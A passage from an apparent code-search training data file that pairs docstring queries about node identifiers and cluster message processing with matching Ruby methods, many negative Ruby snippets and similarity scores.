"0.5579014",
"0.55634326",
"0.5549654",
"0.5533804",
"0.5533378",
"0.5533378",
"0.5523863",
"0.55206144",
"0.5504784",
"0.54910886",
"0.54859596",
"0.54640996",
"0.5456603",
"0.54558665",
"0.5446171",
"0.5442884",
"0.54417086",
"0.5407956",
"0.5382723",
"0.5375861",
"0.5365749",
"0.534444",
"0.5343127",
"0.53397566",
"0.5337056",
"0.5335609",
"0.53267664",
"0.53232867",
"0.53205526",
"0.5293435",
"0.52843773",
"0.5283731",
"0.52762985",
"0.5273084",
"0.5268727",
"0.5262756",
"0.525731",
"0.525544"
] |
0.8293553
|
0
|
Returns a unique identifier for this node
|
def node_id()
@node_id ||= Config.slanger_id || SecureRandom.uuid
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def neo_node_id\n @internal_node.getId()\n end",
"def id\n @node.id\n end",
"def id\n @id ||= node.attr :tid\n end",
"def generate_node_id\n # a little bit more creative\n if @registry.respond_to? :unique\n @registry.unique\n else\n digest = Digest::SHA512.new\n seed = Socket.gethostname + rand.to_s + Time.now.to_s + SecureRandom.hex\n digest.update(seed).to_s\n end\n end",
"def node_id(r)\n r.send(data_class.primary_key)\n end",
"def node_id\n jid.resource\n end",
"def hex; @node_id.hexlify; end",
"def dom_id\n node['id']\n end",
"def get_node_id(node)\n node[\"self\"].split('/').last\nend",
"def node_id_s\n node_bytes = [ @node_id >> 32, @node_id & 0xFFFF_FFFF].pack(\"NN\")\n elements = node_bytes.unpack(\"CCa6\")\n node = elements[-1].unpack('C*')\n elements[-1] = '%02x%02x%02x%02x%02x%02x' % node\n \"%02x%02x-%s\" % elements\n end",
"def get_id(node)\n node.parent.parent.attributes[\"id\"].value\n end",
"def dom_id\n\t\tnode['id']\n\tend",
"def dom_id\n node['id']\n end",
"def dom_id\n node['id']\n end",
"def get_node_id\n # @@neo = Neography::Rest.new\n begin\n qur = \"MATCH (n {object_id: \"+self.id.to_s+\", object_type: \\'\"+self.class.to_s+\"\\' }) RETURN n LIMIT 1\"\n response = @@neo.execute_query(qur)\n node_id = response[\"data\"].flatten.first[\"metadata\"][\"id\"]\n return node_id\n rescue Exception\n return nil\n end\n end",
"def unique_id\n object_id.abs.to_s(16)\n end",
"def hash\n node_id.hash\n end",
"def unique_identifier\n @u_id ||= \"T1\"\n @u_id = @u_id.succ\n end",
"def tracking_number\n @root.attribute(\"ID\").to_s\n end",
"def tracking_number\n @root.attribute(\"ID\").to_s\n end",
"def identifier\n return @identifier unless @identifier.is_a?(BNode)\n if @identifier.equal?(self)\n # Generate from the sequence a..zzz, unless already taken\n @@next_generated = @@next_generated.succ while @@named_nodes.has_key?(@@next_generated)\n @identifier, @@next_generated = @@next_generated, @@next_generated.succ\n else\n # Previously allocated node\n @identifier = @identifier.identifier\n end\n @identifier\n end",
"def id\n source_node[:id]\n end",
"def ext_id id\n \"#{@master_node}|#{id}\"\n end",
"def key_for(node)\n \"#{id}-#{node.id}\"\n end",
"def oid\n id(get_oid())\n end",
"def unique_id\n \"#{@table.name}-#{@id}\"\n end",
"def identifier\n @identifier ||= \"#{ATTRIBUTE_PREFIX}.#{Model::to_id @schema_ref}.#{Model::to_id @reference}\"\n end",
"def identifier\n @info.identifier\n end",
"def identifier\n @info.identifier\n end",
"def rhizome_unique_id\n \"#{rhizome_type_name},#{rhizome_eid}\"\n end",
"def unique_identifier\n Digest::MD5.hexdigest(@name.to_s)[0..9]\n end",
"def uid\n tail_node_uid = tail_node ? tail_node.uid : ''\n head_nade_uid = head_node ? head_node.uid : ''\n tail_node_vpcid = tail_node && tail_node.vpc_id&+'-' || ''\n head_nade_vpcid = head_node && head_node.vpc_id&+'-' || ''\n \"tail-#{tail_node_vpcid}#{tail_node_uid}_head-#{head_nade_vpcid}#{head_nade_uid}_ports-#{port_start}-to-#{port_end}_proto-#{protocol || 'none'}\"\n end",
"def unique_id\n '%8x%s@%s' % [\n Time.now.to_i,\n Digest::SHA1.hexdigest(\n '%.8f%8x' % [ Time.now.to_f, rand(1 << 32) ]\n )[0, 32],\n Socket.gethostname\n ]\n end",
"def id\n @id ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(2) ]\n end",
"def id\n @attributes[\"#{self.class.to_s.split('::').last.underscore.downcase}_id\".to_sym]\n end",
"def guid\n query_root_node(\"guid/text()\")\n end",
"def next_uid()\n\t\t\treturn @metadata.attributes[:next_uid].to_i\n\t\tend",
"def __object_unique_id__\n return @args[:data][:Key_name]\n end",
"def id(path)\n if @root\n fs_id = @root.node_id(path)\n \" <#{fs_id.unparse}>\"\n else\n \"\"\n end\n end",
"def id\n @uid\n end",
"def unique_id\n \"name-#{@language_id}-#{@name_id}\"\n end",
"def uuid\n idme_uuid\n end",
"def uuid\n @keystore[:id]\n end",
"def identifier\n @identifier ||= self.revlist.last\n end",
"def identifier\n self.class.identifier_for(send(self.class.identifying_attribute))\n end",
"def uuid\n node_uuid = @os.data.fetch(:dmi, {}).fetch(:system, {}).fetch(:uuid, nil)\n node_uuid && node_uuid.strip\n end",
"def identifier\n @identifier ||= \"#{self.type_prefix}.#{Model::to_id @schema.title}.#{Model::to_id name}\"\n end",
"def identifier\n SecureRandom.hex(16)\n end",
"def generate_node_number\n seed_data = if node['fqdn'].nil?\n \"#{node['ipaddress']}#{node['macaddress']}#{node['ip6address']}\"\n else\n node['fqdn']\n end\n Digest::MD5.hexdigest(seed_data).unpack1('L')\n end",
"def identifier\n @identifiers[0]\n end",
"def uid\n @name.to_s.downcase.gsub(/[^a-z0-9]+/, '').gsub(/-+$/, '').gsub(/^-+$/, '')\n end",
"def uid\n @name.to_s.downcase.gsub(/[^a-z0-9]+/, '').gsub(/-+$/, '').gsub(/^-+$/, '')\n end",
"def identifier\n @record.uri.to_s\n end",
"def node_uuid\n path = File.expand_path(Chef::Config[:chef_guid_path])\n dir = File.dirname(path)\n\n unless File.exist?(path)\n FileUtils.mkdir_p(dir)\n File.write(path, SecureRandom.uuid)\n end\n\n File.open(path).first.chomp\n end",
"def id\n self[:identifier]\n end",
"def generate_id()\n return nil unless @name and @represents\n @id ||= Digest::SHA1.hexdigest(@name + @represents)[0..5].force_encoding('utf-8').to_s\n end",
"def identifier\n id_value || super\n end",
"def identifier\n \"#{user_id}:#{namespace_id}:#{journal_id}\"\n end",
"def __object_unique_id__\n name\n end",
"def __object_unique_id__\n name\n end",
"def object_id() end",
"def to_param\n neo_node_id.to_s\n end",
"def unique_key\n @unique_key ||= section.identifier\n end",
"def unique_name(id)\n id.to_s\n end",
"def identifier\n @identifier ||= \"#{self.type_prefix}.#{Model::to_id(name)}\"\n end",
"def identifier\n attributes.fetch(:identifier)\n end",
"def object_identifier\n [\"#{self.class.name}\", (id.nil? ? nil : \"##{id}\"), \":0x#{self.object_id.to_s(16)}\"].join\n end",
"def get_id()\n return @id\n end",
"def unique_id\n id || @generated_dom_id || (@generated_dom_id = Time.now.to_f.to_s.gsub('.', '_'))\n end",
"def file_id\n # If the file name exceeds the maximum length, then generate an MD5 to truncate the end of the file name.\n result = \"#{@node}_#{@environment}\"\n if result.size > MAX_FILE_ID_SIZE\n # Truncate it, but add a unique ID in it.\n result = \"-#{Digest::MD5.hexdigest(result)[0..7]}\"\n result = \"#{@node}_#{@environment}\"[0..MAX_FILE_ID_SIZE - result.size - 1] + result\n end\n result\n end",
"def uid\n id && Base58GMP.encode(id)\n end",
"def neo_id\n getId\n end",
"def id\n self._id.to_s if self._id\n end",
"def uuid; end",
"def uuid; end",
"def get id\n @nodes[id]\n end",
"def local_key\n LocalNode.new.key\n end",
"def identity_name\n return @identity_name\n end",
"def id\n Id.new(@head.fetch[2])\n end",
"def identifier\n children[0]\n end",
"def identifier\n children[0]\n end",
"def identifier\n children[0]\n end",
"def id_from_link(node)\n node.attribute('href').value.split('/').last.to_i\n end",
"def uuid\n @connection.uuid\n end",
"def id\n (read_property 'Id') || name\n end",
"def name\n @name ? @name.to_s : unique_id\n end",
"def generate_tid\n # Input string we feed into the hash algorithm\n # It IS possible to have hash collisions:\n #\n # 1. Let's assume our system clock is perfect. The only way to get a hash\n # collision is to somehow submit multiple tag creation requests with the\n # same data at the exact same time. \n #\n # 2. Now, in reference to this article...\n # infiniteundo.com/post/25326999628/falsehoods-programmers-believe-about-time\n # If our system clock screws up, hash collisions could happen in the\n # following manner:\n # * Leap seconds\n # * Clock somehow gets \"reset\" to some previous time in the past, allowing\n # someone to replay past requests at the exact same times.\n sha1 = OpenSSL::Digest::SHA1.new\n sha1 << self.location\n sha1 << self.user_id.to_s\n sha1 << Time.now.to_f.to_s\n tid = sha1.hexdigest\n\n self.tid = tid\n end",
"def name\n self._id.to_s\n end",
"def human_readable_uid(entity_id)\n \"#{storage.collector_type}-#{@name}-#{'%010d' % entity_id}\"\n end",
"def globally_unique_identifier\n super\n end",
"def id\n special_attribute('@rid'.freeze)\n end",
"def unique_id\n generator = Sass::Script::Functions.random_number_generator\n Thread.current[:sass_last_unique_id] ||= generator.rand(36**8)\n # avoid the temptation of trying to guess the next unique value.\n value = (Thread.current[:sass_last_unique_id] += (generator.rand(10) + 1))\n # the u makes this a legal identifier if it would otherwise start with a number.\n identifier(\"u\" + value.to_s(36).rjust(8, '0'))\n end",
"def uniqid\n SecureRandom.hex(32)\n end",
"def uniqid\n SecureRandom.hex(32)\n end",
"def physical_resource_id\n \"#{self.class.name.split('::').last}-#{Carnivore.uuid}\"\n end",
"def id\n \"#{kind}_#{@id}\"\n end",
"def id\n \"#{kind}_#{@id}\"\n end",
"def root_node_id\n 1\n end",
"def thread_id()\n #This is a stub, used for indexing\n end",
"def unique_id\n # Consider using SecureRandom.hex here, and benchmark which one is better\n (Time.now.to_f * 1000).to_i.to_s(36) + rand(1_000_000).to_s(36)\n end"
] |
[
"0.78998065",
"0.78110117",
"0.7805569",
"0.75708795",
"0.7539006",
"0.7507768",
"0.73733443",
"0.7372559",
"0.73653615",
"0.730425",
"0.7294966",
"0.7197694",
"0.71783954",
"0.71783954",
"0.713737",
"0.71168625",
"0.70981795",
"0.7047158",
"0.7045424",
"0.7045424",
"0.7039445",
"0.70327306",
"0.70105493",
"0.6934165",
"0.6929036",
"0.684174",
"0.68166983",
"0.6813558",
"0.6813558",
"0.6788562",
"0.6772315",
"0.67589766",
"0.6751167",
"0.67464995",
"0.67390275",
"0.6731788",
"0.67073333",
"0.66756326",
"0.667326",
"0.6672476",
"0.6666174",
"0.6665039",
"0.6651872",
"0.6645229",
"0.66439396",
"0.66391855",
"0.6625108",
"0.6624221",
"0.66162795",
"0.6615447",
"0.6614504",
"0.6614504",
"0.66080153",
"0.66073036",
"0.65979487",
"0.6583043",
"0.6581768",
"0.65792",
"0.65676326",
"0.65676326",
"0.65668327",
"0.6565587",
"0.6561435",
"0.6558587",
"0.65546644",
"0.65463156",
"0.65428185",
"0.6535533",
"0.653315",
"0.65125984",
"0.6506907",
"0.6504194",
"0.64972097",
"0.64968413",
"0.64968413",
"0.6489027",
"0.64779145",
"0.64520216",
"0.6451392",
"0.6443214",
"0.6443214",
"0.6443214",
"0.64418185",
"0.6441266",
"0.6429948",
"0.64245856",
"0.6421275",
"0.6418252",
"0.64179957",
"0.6409838",
"0.6393931",
"0.6393337",
"0.6392732",
"0.6392732",
"0.6374682",
"0.63653463",
"0.63653463",
"0.6365134",
"0.63626397",
"0.63485074"
] |
0.7704028
|
3
|
Process a cluster message
|
def process_message(message)
# Extract fields from message
begin
data = JSON.parse message
rescue JSON::ParserError
Logger.error log_message("JSON Parse error on cluster message: '" + msg + "'")
return
end
sender = data['sender']
return if sender == node_id # Ignore own messages
destination = data['destination']
if (destination.nil? || destination == node_id)
# This is a broadcast, or a message to our node, we need to process it
event = data['event'].to_sym
if event == :election_enquiry && is_master? && sender < node_id
# We are the master, and the enquirer doesn't have an node_id
# higher than us. Reply to this enquiry telling it we are the master.
Logger.debug log_message"Sending master enquiry reply to: " + sender
send_enquiry_reply(sender)
elsif event == :election_enquiry_reply && sender > node_id
# The master replied, accept it
accept_master(sender)
elsif event == :election_victory && sender < node_id
# Some node claims to be the master, but its node_id is lower than ours ;
# Tell all nodes we are the real master.
Logger.info log_message"Another node claimed to be the master: " + sender + ". Sending new victory message to correct it."
send_victory
elsif event == :election_victory && sender > node_id && (sender > master_id || master_last_seen_unix_timestamp < Time.now.to_i - 60)
# Some node claims to be the master, and its node_id is greater than ours
# and its node_id is greater than the currently known master, or the master is
# outdated. Accept the node as new master
accept_master(sender)
elsif event == :master_alive && sender == master_id
# Master is alive
@master_last_seen_unix_timestamp = Time.now.to_i
refesh_master_timeout
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_stanza(message)\n node = Nokogiri::XML(message[STANZA]).root rescue nil\n return unless node\n log.debug { \"Received cluster stanza: %s -> %s\\n%s\\n\" % [message[FROM], @cluster.id, node] }\n\n recources = @cluster.connected_resources(node[TO])\n if recources.empty?\n store_stanza(node)\n else\n route_stanza(recources, node)\n end\n end",
"def on_message(channel, message)\n doc = JSON.parse(message)\n case channel\n when ALL then to_all(doc)\n when SHARE then analyze_share(doc)\n when @channel then to_node(doc)\n end\n rescue => e\n log.error(\"Cluster subscription message failed: #{e}\")\n end",
"def process_message(message)\n end",
"def process_msgs\n end",
"def process(message)\n end",
"def process(msg)\n headers = msg[\"headers\"]\n federation = headers[\"federation\"]\n\n Log.info(\"Federation received %s from %s\" % [federation[\"req\"], headers[\"mc_sender\"]])\n\n federation[\"reply-to\"] = headers.delete(\"reply-to\")\n headers[\"reply-to\"] = collective_source_name\n\n record_seen(headers)\n\n Log.debug(\"federation => collective: %s\" % [headers])\n\n @outbox << {\n :targets => federation.delete(\"target\"),\n :req => federation[\"req\"],\n :data => JSON.dump(msg)\n }\n end",
"def cpg_message(sender, message)\n\t\tmessage = CorosyncCommander::Execution::Message.from_cpg_message(sender, message)\n\n\t\t# This is the possible message classifications\n\t\t# Command echo (potentially also a command to us)\n\t\t# Response echo\n\t\t# Command to us\n\t\t# Response to us\n\t\t# Command to someone else\n\t\t# Response to someone else\n\n\t\tif message.type == 'command' and sender == @cpg.member then\n\t\t\t# It's a command echo\n\t\t\texecution_queue = nil\n\t\t\t@execution_queues.sync_synchronize(:SH) do\n\t\t\t\texecution_queue = @execution_queues[message.execution_id]\n\t\t\tend\n\t\t\tif !execution_queue.nil? then\n\t\t\t\t# someone is listening\n\t\t\t\tmessage_echo = message.dup\n\t\t\t\tmessage_echo.type = 'echo'\n\t\t\t\tmessage_echo.content = @cpg_members\n\t\t\t\texecution_queue << message_echo\n\t\t\tend\n\t\telsif message.type == 'leader reset' then\n\t\t\t# The sender is requesting we reset their leader position\n\t\t\t# For remote node, act as if the node left.\n\t\t\t# For the local node, act as if we just joined.\n\t\t\tif sender != @cpg.member then\n\t\t\t\t@leader_pool.sync_synchronize(:EX) do\n\t\t\t\t\t@leader_pool.delete(sender)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t@leader_pool.sync_synchronize(:EX) do\n\t\t\t\t\t@leader_pool.replace(@cpg_members.to_a)\n\t\t\t\tend\n\t\t\tend\n\t\telsif message.type != 'command' and message.recipients.include?(@cpg.member) then\n\t\t\t# It's a response to us\n\t\t\texecution_queue = nil\n\t\t\t@execution_queues.sync_synchronize(:SH) do\n\t\t\t\texecution_queue = @execution_queues[message.execution_id]\n\t\t\tend\n\t\t\tif !execution_queue.nil? then\n\t\t\t\t# someone is listening\n\t\t\t\texecution_queue << message\n\t\t\tend\n\t\tend\n\n\t\tif message.type == 'command' and (message.recipients.size == 0 or message.recipients.include?(@cpg.member)) then\n\t\t\t# It's a command to us\n\t\t\tbegin\n\t\t\t\t# see if we've got a registered callback\n\t\t\t\tcommand_callback = nil\n\n\t\t\t\tcommand_name = message.content[0]\n\t\t\t\tcommand_callback = @command_callbacks[command_name]\n\t\t\t\tif command_callback.nil? then\n\t\t\t\t\traise NotImplementedError, \"No callback registered for command '#{command_name}'\"\n\t\t\t\tend\n\n\t\t\t\tcommand_args = message.content[1]\n\t\t\t\treply_value = command_callback.call(message.sender, *command_args)\n\t\t\t\tmessage_reply = message.reply(reply_value)\n\t\t\t\t@cpg.send(message_reply)\n\t\t\trescue => e\n\t\t\t\t$stderr.puts \"Exception: #{e} (#{e.class})\\n#{e.backtrace.join(\"\\n\")}\"\n\t\t\t\tmessage_reply = message.reply([e.class, e.to_s, e.backtrace])\n\t\t\t\tmessage_reply.type = 'exception'\n\t\t\t\t@cpg.send(message_reply)\n\t\t\tend\n\t\tend\n\tend",
"def cluster() node[:cluster_name] ; end",
"def cluster(subcommand, *args)\n subcommand = subcommand.to_s.downcase\n block = case subcommand\n when 'slots'\n HashifyClusterSlots\n when 'nodes'\n HashifyClusterNodes\n when 'slaves'\n HashifyClusterSlaves\n when 'info'\n HashifyInfo\n else\n Noop\n end\n\n send_command([:cluster, subcommand] + args, &block)\n end",
"def process_message(message)\n # TODO: May want to ignore some messages (say, if the community string is wrong)\n message.respond(dispatch(message))\n end",
"def cluster(subcommand, *args); end",
"def execute(message)\n data_payload = unpack(message)\n payload = new_payload(\n config.fetch(:name, :jackal_cfn),\n :cfn_resource => data_payload\n )\n if(config[:reprocess])\n debug \"Reprocessing received message! #{payload}\"\n Carnivore::Supervisor.supervisor[destination(:input, payload)].transmit(payload)\n message.confirm!\n else\n completed(payload, message)\n end\n end",
"def run_cluster(cluster)\n name = cluster_id(cluster)\n @dialog.setMainStatusAndLogIt(\"Tagging Cluster #{@cluster_run}-#{name}\")\n sorted = ClusterSorter.new(@dialog, @cluster_run, cluster)\n items = sorted.review\n tag = \"ClusterReview|#{@cluster_run}|#{name}\"\n @dialog.setSubStatusAndLogIt(\"Tagging #{items.size} items with: #{tag}\")\n @dialog.setSubProgress(0)\n @annotater.add_tag(tag, items)\n end",
"def message\n process_mess\n end",
"def to_node(message)\n case message[TYPE]\n when STANZA then process_stanza(message)\n when USER then update_user(message)\n end\n end",
"def execute(message)\n data_payload = unpack(message)\n payload = new_payload(\n config[:name],\n :cfn_event => data_payload\n )\n if(config[:reprocess])\n debug \"Reprocessing payload through current source (#{destination(:input, payload)})\"\n Carnivore::Supervisor.supervisor[destination(:input, payload)].transmit(payload)\n message.confirm!\n else\n job_completed(:jackal_cfn, payload, message)\n end\n end",
"def process_message(raw_message, conn)\n\n\t\tputs \"<Debug> processing_message: #{raw_message.inspect} from \"\\\n\t\t\t\"#{conn.username}@#{conn.host}:#{conn.port}\" if $DEBUG\n\n\t\tmessage_words = raw_message.split\n\t\tcmd = message_words.shift.downcase\n\n\t\t# irb(main):02> raw_cmd=\"Unicast Katy I used to bite my tongue too\"\n\t\t# => \"Unicast Katy I used to bite my tongue too\"\n\t\t# irb(main):03> message_words=raw_cmd.split\n\t\t# => [\"Unicast\", \"Katy\", \"I\", \"used\", \"to\", \"bite\", \"my\", \"tongue\", \"too\"]\n\t\t# irb(main):04> cmd=message_words.shift.downcase\n\t\t# => \"unicast\"\n\t\t# irb(main):05> message_words\n\t\t# => [\"Katy\", \"I\", \"used\", \"to\", \"bite\", \"my\", \"tongue\", \"too\"]\n\t\t# irb(main):06> dest_username=message_words.shift.downcase\n\t\t# => \"katy\"\n\t\t# irb(main):07> message=message_words.join(\" \")\n\t\t# => \"I used to bite my tongue too\"\n\n\t\tcase cmd\n\n\t\twhen 'broadcast'\n\n\t\t\tbroadcast_message(message_words.join(' '), conn)\n\n\t\twhen 'unicast'\n\n\t\t\tsource_conn \t= conn\n\t\t\tdest_username \t= message_words.shift\n\t\t\tdest_username.downcase! unless dest_username.nil?\n\t\t\tmessage \t\t= message_words.join(\" \")\n\t\t\tdest_conn\t\t= get_connection_by_username(dest_username)\n\t\t\t\n\t\t\t# Set the source username based on whether the client wants full names shown\n\t\t\tsource_username = name_display(dest_conn, source_conn)\n\n\t\t\tif not dest_conn \n\t\t\t\tsource_conn.puts(\"250 Invalid username: \"\\\n\t\t\t\t\t\t\t\t \"#{dest_username.inspect} for unicast\")\n\t\t\telse\n\t\t\t\tdest_conn.puts(\"150 Message from #{source_username}:\")\n\t\t\t\tdest_conn.puts(\"150 #{message}\")\n\t\t\t\tdest_username \t= sprintf(\"%s@%s:%s\", dest_conn.username, \n\t\t\t\t\t\t\t\t\tdest_conn.host, dest_conn.port)\n\t\t\t\tsource_conn.puts(\"350 message sent to #{dest_username}\")\n\t\t\tend\n\n\t\twhen 'list'\n\t\t\t\n\t\t\tconnection_list = \"\"\n\t\t\t@connection_array.each do |connection|\n\t\t\t\tconnection_list << connection.username\n\t\t\t\tconnection_list << \" \"\n\t\t\tend\n\t\t\tconn.puts(\"370 List of connected users shown below:\")\n\t\t\tconn.puts connection_list\n\n\t\twhen 'show_full_names'\n\n\t\t\tconn.puts \"130 Show Full Username set to #{conn.show_full_names}\"\n\n\t\twhen 'toggle_full_names'\n\n\t\t\tif conn.show_full_names == false\n\n\t\t\t\tconn.show_full_names = true\n\t\t\t\tconn.puts \"330 Show Full Usernames now #{conn.show_full_names}\"\n\n\t\t\telse\n\n\t\t\t\tconn.show_full_names = false\n\t\t\t\tconn.puts \"331 Show Full Usernames now #{conn.show_full_names}\"\n\n\t\t\tend\n\t\t\t\n\t\twhen 'help'\n\n\t\t\thelp_subcommand=message_words.first\n\t\t\thelp_subcommand.downcase! unless help_subcommand.nil?\n\n\t\t\tcase help_subcommand\n\n\t\t\twhen nil\n\t\t\t\tconn.puts(\"390 Successful help command:\")\n\t\t\t\tconn.puts(\"\")\n\t\t\t\tconn.puts(\"190 Usage: help <command>, where <command> is:\")\n\t\t\t\tconn.puts(\"190 broadcast unicast list help\")\n\t\t\t\tconn.puts(\"190 show_full_names toggle_full_names\")\n\t\t\t\tconn.puts(\"\")\n\n\t\t\twhen 'unicast'\n\t\t\t\tconn.puts(\"390 Successful help command:\")\n\t\t\t\tconn.puts(\"\")\n\t\t\t\tconn.puts(\"190 unicast <username> message_text\")\n\t\t\t\tconn.puts(\"190 sends message_text to <username>\")\n\t\t\t\tconn.puts(\"\")\n\n\t\t\twhen 'broadcast'\n\t\t\t\tconn.puts(\"390 Successful help command:\")\n\t\t\t\tconn.puts(\"\")\n\t\t\t\tconn.puts(\"190 broadcast message_text\")\n\t\t\t\tconn.puts(\"190 sends message_text to all connected users\")\n\t\t\t\tconn.puts(\"\")\n\n\t\t\twhen 'list'\n\t\t\t\tconn.puts(\"390 Successful help command:\")\n\t\t\t\tconn.puts(\"\")\n\t\t\t\tconn.puts(\"190 list\")\n\t\t\t\tconn.puts(\"190 shows a list of currently connected users\")\n\t\t\t\tconn.puts(\"\")\n\n\t\t\twhen 'show_full_names'\n\t\t\t\tconn.puts(\"390 Successful help command:\")\n\t\t\t\tconn.puts(\"\")\n\t\t\t\tconn.puts(\"190 show_full_names\")\n\t\t\t\tconn.puts(\"190 displays the current show_full_names value\")\n\t\t\t\tconn.puts(\"190 used to control the format of usernames\")\n\t\t\t\tconn.puts(\"190 when 'true' uses username@host:port format\")\n\t\t\t\tconn.puts(\"190 when 'false' uses username format\")\n\t\t\t\tconn.puts(\"190 use help toggle_full_names for more information\")\n\t\t\t\tconn.puts(\"\")\n\n\t\t\twhen 'toggle_full_names'\n\t\t\t\tconn.puts(\"390 Successful help command:\")\n\t\t\t\tconn.puts(\"\")\n\t\t\t\tconn.puts(\"190 toggle_full_names\")\n\t\t\t\tconn.puts(\"190 switches the value of show_full_names\")\n\t\t\t\tconn.puts(\"190 use help show_full_names for more information\")\n\t\t\t\tconn.puts(\"\")\n\n\t\t\telse\n\t\t\t\tconn.puts(\"290 Invalid help subcommand\")\n\n\t\t\tend\n\t\telse\n\t\t\tconn.puts(\"200 Invalid command: #{cmd.inspect}\")\n\t\tend\n\t\t\n\n\tend",
"def process(message, output)\n puts \"Got message #{message.type} from peer: #{message.peer.id}\"\n case message.type\n when :piece\n piece_index, byte_offset, block_data = split_piece_payload(message.payload)\n block = Block.new(piece_index, byte_offset, block_data, message.peer, @piece_length)\n remove_from_pending(block)\n output.push(block)\n when :have\n message.peer.bitfield.have_piece(message.payload.unpack('N')[0])\n # A malicious peer might choose to advertise having pieces\n # that it knows the peer will never download.\n # TODO handle this case if possible\n else\n puts \"currently not processed or ignored message type - #{message.type}\"\n end\n end",
"def process_message(message)\n case message\n when Vertica::Protocol::ErrorResponse\n raise Vertica::Error::ConnectionError.new(message.error_message)\n when Vertica::Protocol::NoticeResponse\n @notice_handler.call(message) if @notice_handler\n when Vertica::Protocol::BackendKeyData\n @backend_pid = message.pid\n @backend_key = message.key\n when Vertica::Protocol::ParameterStatus\n @parameters[message.name] = message.value\n when Vertica::Protocol::ReadyForQuery\n @transaction_status = message.transaction_status\n @mutex.unlock\n else\n raise Vertica::Error::MessageError, \"Unhandled message: #{message.inspect}\"\n end\n end",
"def runOperation(msg, client)\n case msg.getConfig(\"type\")\n when 0; edgebReflex(msg.getMessage(), client)\n when 1; fillBack(msg)\n when 2; edgeuUpdate(msg.getMessage())\n when 3; pingCallBack(msg)\n when 4; tracerouteCallBack(msg)\n when 5; sendMsgCallBack(msg, client)\n else STDERR.puts \"ERROR: INVALID MESSAGE \\\"#{msg}\\\"\"\n end\nend",
"def to_all(message)\n case message[TYPE]\n when ONLINE, HEARTBEAT\n @cluster.poke(message[FROM], message[TIME])\n when OFFLINE\n @cluster.delete_sessions(message[FROM])\n end\n end",
"def cluster(hits, options = {})\n options = { cluster_on: :subject, cutoff: 10000, alignment_error: 3 }.merge(options)\n \n # Set the start stop methods\n start_method, stop_method = options[:cluster_on] == :query ? [:query_start, :query_end] : [:subject_start, :subject_end]\n alternate_start_method, alternate_stop_method = options[:cluster_on] == :query ? [:subject_start, :subject_end] : [:query_start, :query_end]\n \n clusters = []\n running_hits = []\n increasing = nil\n hits.each do |hit|\n # debugger if hit.query == 'FL8T4MU02J0RDA' && hit.subject == 'scaffold00002'\n \n if running_hits.empty? || hit.send(start_method) - running_hits.last.send(stop_method) < options[:cutoff] ||\n contiguous_hits?(hit, running_hits.last, start_method: alternate_start_method, \n stop_method: alternate_stop_method, \n increasing: increasing, \n error: options[:alignment_error])\n # Note the trend on the alternate sequence\n increasing = hit.send(alternate_start_method) > running_hits.last.send(alternate_start_method) if running_hits.any?\n \n running_hits << hit\n else\n # Add the running hits as a cluster and reset\n clusters << running_hits\n running_hits = [hit]\n increasing = nil\n end\n end\n \n # Add any remaining running hits as a cluster\n clusters << running_hits if running_hits.any?\n \n clusters\n end",
"def process\n logger.info \"Beetle: received message #{message.inspect}\"\n end",
"def topics=(process)\n \n @clusters = []\n \n if ( process.is_a?(Integer))\n @logger.info(\"Building cluster of constant cluster count #{process}.\")\n @cluster_count = process\n @cluster_count.times { @clusters << Cluster.new(@points[rand(points.length)]) }\n \n elsif(process.is_a?(String))\n if ( process == \"crp\" )\n \n @logger.info(\"Building clusters using CRP.\")\n \n 1.upto(@points.length) do |i|\n \n @cluster_count = 0\n \n if ( rand(i) == 0 )\n @clusters << Cluster.new(@points[i-1])\n @cluster_count += 1\n end\n \n end\n \n @logger.info(\"Built #{@cluster_count} clusters.\")\n end\n end\n end",
"def process(message, recipient)\n Astrotrain.callback(:pre_processing, message, self)\n Transport.process(message, self, recipient)\n \n end",
"def receive\n begin\n message = save_message\n rescue => err\n render :text => err.message, :status => 400\n return\n end\n \n begin\n message.process! params\n rescue => err\n message.reply = err.message\n ensure\n if (message.reply != \"Invalid command\")\n collection_id = get_collection_id(params[:body])\n if collection_id and collection_id >0\n message[:collection_id] = collection_id\n end\n end\n message.save\n render :text => message.reply, :content_type => \"text/plain\"\n end\n end",
"def process(result)\n unless implicit?\n set_operation_time(result)\n if cluster_time_doc = result.cluster_time\n advance_cluster_time(cluster_time_doc)\n end\n end\n @server_session.set_last_use!\n\n if doc = result.reply && result.reply.documents.first\n if doc[:recoveryToken]\n self.recovery_token = doc[:recoveryToken]\n end\n end\n\n result\n end",
"def each_cluster(options = {})\n options = { cluster_on: :subject, subject_regex: nil }.merge(options)\n \n each_query(subject_regex: options[:subject_regex]) do |query, hits|\n # Cluster the hits\n clusters = Alignment::Aligner.cluster_hits(hits, cluster_on: options[:cluster_on])\n\n # Yeild the results\n clusters.each do |cluster|\n yield query, cluster.first.subject, cluster\n end\n end\n end",
"def update\n respond_to do |format|\n if @cluster.update(cluster_params)\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @cluster }\n else\n format.html { render :edit }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cluster.update(cluster_params)\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @cluster }\n else\n format.html { render :edit }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
